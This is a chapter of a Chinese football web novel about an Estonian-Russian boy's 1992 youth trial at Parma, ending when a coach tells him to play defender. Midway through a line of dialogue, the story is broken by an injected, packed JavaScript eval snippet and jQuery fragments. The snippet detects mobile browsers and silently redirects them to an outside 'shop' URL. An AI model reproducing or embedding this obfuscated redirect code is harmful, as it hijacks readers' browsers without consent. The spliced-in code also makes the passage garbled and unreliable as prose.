1. 我踢后卫?!

作品:《[足球]多情人在意甲

    1992年夏天,萨沙的家人在经历了去年的剧变之后,决定将他从家乡爱沙尼亚,送往母亲奥罗拉的祖国意大利接受足球青训。


    塔林六月的夜晚下着阵雨,气温只有不到10度。塔林才启用不到一年的机场没有直飞意大利的航班,萨沙要先乘火车到莫斯科,然后飞往米兰,再转短途火车前往亲戚定居的帕尔马。


    露天站台上挤满了买站台票前来送行的人们,已经长得比母亲还高的少年萨沙撑着一把大伞,尽量把伞倾向怕冷的奥罗拉。


    萨沙在临行前向奥罗拉告别:“妈妈,意大利很暖和,等我以后踢上意甲,就把你和爸爸都接过去,这样你的咳嗽一定会好起来。”


    “小萨申卡,妈妈的骄傲...我真希望能陪伴在你的身边,我的宝贝。如果爸爸妈妈能挣更多钱,你就不需要吃这么多的苦...”


    萨沙搂着奥罗拉,低头用脸颊蹭着母亲的头发。母子二人用一样的香波,但在前往意大利之后,连这抹廉价的香味都会就此远离他。


    萨沙想到这些,鼻头一酸,感到雨天湿冷的泥土味都变得模糊了。


    萨沙发觉如果再讲几句,自己的眼泪就要掉下来了,他连忙偏过头去,不让母亲看清自己沾着泪痕的脸,最后坚强地说了句:


    “妈妈,别为我担心,我会进很多球的。”


    萨沙坐上了前往莫斯科的卧铺火车。他的精神状态有些糟糕,哪怕只是其他乘客在夜里按动打火机点烟的声音,都会把萨沙吵醒。


    萨沙在夜里昏昏沉沉的数次醒来又睡过去,在第二天上午到达莫斯科后,又很快登上了飞往米兰的航班。


    在全程二十几个小时的路程结束之后,萨沙被阿姨茱莉亚接回了家,在帕尔马市郊安顿下来。


    这栋房子里加上萨沙有五口人,萨沙的姥姥、阿姨、姨夫,还有阿姨的独生子马尔科。


    两个大人不常在家,日常照顾两个孩子饮食起居的是萨沙的姥姥。表哥马尔科比萨沙大两岁,是文化生,和萨沙没什么共同话题,两人关系不好不坏。


    得益于母亲的教育,萨沙的意大利语口语不错,这让他至少不会和亲戚们有沟通障碍,相处起来还算轻松。


    可在意大利这些天的一切都让萨沙感到别扭,他真希望自己正在爸爸妈妈的身边,但他知道这是不切实际的想法——


    萨沙的父亲是在工作后才定居塔林的俄裔,所以萨沙几乎没学过爱沙尼亚语,所有人都能从萨沙的长相和声音中判断出他是俄裔孩子。


    强烈的去俄、反俄浪潮席卷过萨沙的生活,萨沙的父母不想让他这样生活下去。


    更何况,塔林的环境本就不足以将他培养成为一名顶级联赛水平的球员。萨沙本来也需要走出去,如今只是提前了一步。


    萨沙的目标是当地的俱乐部帕尔马。如果能够试训成功的话,他就能被安排进与俱乐部合作的寄宿学校,一并解决青训和上学的问题。


    帕尔马在新老板上任后,正在大刀阔斧地投入资金建设球队,尤其注重青训的发展,萨沙被帕尔马录取的概率显然比去其他豪门俱乐部要高。


    虽然萨沙错过了初选的日期,但他目前的住址在本地,通过母亲的血缘拥有意大利籍,口语流利,并且提交了以往的比赛录像自荐。所以,他还是获得了在夏天参加最终试训的机会。


    帕尔马公开试训的地点在郊区的临时基地,开始时间在暑假期间的周末,耗时4天。孩子们都是由家长送来的,甚至有备受宠爱的小孩还是举家上阵一起来送的。


    萨沙的姥姥在把他送来后就回家去了。萨沙看着其他男孩的长辈和他们反复亲吻拥抱着告别,便又开始怀念起了此刻气候尚且凉爽的塔林。


    萨沙不喜欢帕尔马的天气,也不喜欢和表哥马尔科一起住在阿姨家。


    他在一个多月的日子里始终感到格格不入,这还是萨沙第一次这样期待快点到开学日期、快点住进宿舍里去。


    在第一天,俱乐部只是安排男孩们进行了细致的体检,这个步骤几乎没有人被刷下去。在做完拍照建档之后,今天的任务就告一段落了。


    此时留下来的还有近二百个男孩,他们排着队依次走到摄像机前,拍完后又走开把位置让给下一个人。


    萨沙突然觉得,这一幕和自己以前毕业拍证件照时、全年级聚在学校体育馆体检时的场景看着也差不多。


    “意大利和苏联也许并没有太大的差别。”萨沙在心里劝慰着自己,“很快就会好的,早点熟悉意大利是件好事,意甲是最好的联赛,本来我长大后也是要踢意甲的。”


    小球员们按照姓氏字母从A到Z排序,很快就将轮到萨沙。


    萨沙不想看起来是个懒散的人,他在自己前面的第5个男孩排到时,就已经提前做起准备。


    萨沙把几页打印纸抵在自己的腹部,仔细地把纸张边缘对齐,又把头发往耳后掖了掖。


    “布鲁诺·维拉。”


    排到“V”了!


    萨沙开始默默在心里演练起意大利语发音,他要给接下来遇上的每一个人都留下好印象,可不能看起来像个会和意大利人有沟通障碍的外国佬。


    轮到他时,萨沙把自己的档案递到工作人员的桌面上,随后尽量发音端正标准地说出自己的意大利语名字:


    “亚历桑德罗·沃尔科夫。”


    坐在桌前的工作人员把萨沙的资料拿起仔细看了看,又抬眼反复对照着男孩的脸和资料上印着的黑白照片。


    萨沙去年剪了一个丑发型,偏偏在第二天就被通知要拍证件照,所以他那天的心情相当糟糕。后来那个傻刘海还花了快一年时间才留到够长...


    黑白一寸照片上的男孩微微抿着嘴,眉毛也有点蹙起来,厚刘海遮住了大半的额头,显得死板又笨拙。


    这和现在这个有着过耳金色卷发、完整露出了绿眼睛和光洁额头的男孩简直完全不一样。


    萨沙莫名有点紧张,在他印象里自己的资料没什么问题啊,难不成真是因为证件照和现在的他相差太大,被觉得是冒名顶替吗?


    怎么办...到底该怎么才能证明我就是我?


    “亚历桑德罗,你应该在拍照时笑笑。”


    事实证明,萨沙实在是多虑了。他的资料没有任何问题,那个工作人员只是觉得萨沙的那张证件照拍得有点难看,想要分辨出来是不是真人还是没问题的。


    “好的,先生。”


    萨沙松了一口气,收回一直盯着工作人员动作的眼神,重新将目光投向对面摄像机的镜头,露出微笑。


    在萨沙离开位置之前,负责检查资料的工作人员又夸奖了一句:“这次参加试训的孩子里有很多亚历桑德罗,但你是最漂亮的一个。彩色照片会更适合微笑的你。”


    “谢谢,感谢您。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17648431|206827||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ”萨沙听着这样直白的夸奖,有点不知所措,他只能连忙对工作人员道谢。


    旁边几个听清了这段对话的男孩笑出了声,萨沙不确定他们的笑是恶意还是善意,只能先有点懵懂地走到一旁已经拍完照的人堆里。


    “要我说也是,你该多笑笑的,阿历。”在萨沙前一个拍照的维拉笑着说,“你可是个标致的金发帅哥,不笑一笑都浪费掉这么好看的脸蛋了。”


    看来大家的笑应该不是恶意的,萨沙心想。


    “所以,我可以叫你阿历吗,还是说你会更喜欢阿历克斯或者桑德罗?”维拉似乎对萨沙有几分好感,“我是布鲁诺?维拉,叫我布鲁诺吧。”


    “很高兴认识你,布鲁诺。以及,实际上我是在...在爱沙尼亚长大的。”萨沙对维拉解释起来,他是不可能接受这几个听起来十分陌生的昵称的。


    叫这个名字的意大利人那么多,有人喊一句桑德罗,不知道有多少个男人要同时回头。被人这样称呼的话,萨沙可能一时都反应不过来对方是在找他。


    “我的名字通常都是用俄语发音,所以作为昵称的话,你可以叫我萨沙。大家都是这么叫我的。”


    “哦,原来是这样。那按照俄式发音的话,你的名字应该怎么读呢,萨沙?”


    “亚历山大·谢苗诺夫·沃尔...”


    维拉在萨沙还没有说完时,就惊叹着打断了他,有点夸张地比划着手势:


    “妈妈咪呀,我真佩服你们会说两种语言的人!这也太难读了,看来我只能叫你萨沙了。正好显得咱俩亲密点。”


    男孩们很快就被带到了临时宿舍,房间的分配也是按照刚刚的字母顺序进行的,萨沙、维拉和另外两个男孩分到了同一间。


    “萨沙,你俩睡下铺吧?”维拉一进房间,就和另一个男孩一起率先冲到宿舍的床前,把自己的包甩到上铺占位置。


    “行行好,亲爱的萨沙。”维拉还不等萨沙开口回答,就立刻又接上自己的话头,


    “你这么高,睡下铺其实舒服一点啦。你是不是都有一米八了,我好羡慕你,这也太有争顶优势了。”


    “好啊,那就你在上面。”萨沙倒也没那么想抢上铺,特别是在对方刚刚夸过他的身高之后,“我今年长得很快,刚才量身高已经有180.2了。”


    三个意大利男孩在说说笑笑,聊着在以前球队的青训经历,他们都曾经在周边的小俱乐部踢过,有挺多共同话题。


    萨沙本来还想着融入一下几个舍友的氛围,但男孩们的语速飞快,萨沙听着就像是被催眠了一样,早早睡着了。


    第二天的体能测试一切顺利,俱乐部考核的项目其实比萨沙在家乡球队时的要求更低些,但萨沙总有种不妙的预感。


    他的担心是有道理的,厄运在第三天终于降临。


    萨沙顺利通过了前锋位置的测试项目,尽管他没有在某一项里达到最高的分数,但综合来看,他也是这批孩子里表现相当优秀的了。


    但在下午小场对战的休息期间,场边拿着笔记本的u15青训教练佩罗蒂把萨沙招呼到了身边:“沃尔科夫,你在待会解散后留下,跟着我再去做一次技术考核。”


    之前测试时的表现在萨沙脑中快速闪回,他不知道自己到底是在哪里出了问题。但还不等他把疑问说出口,佩罗蒂就继续说道:


    “孩子,你应该改踢后卫。”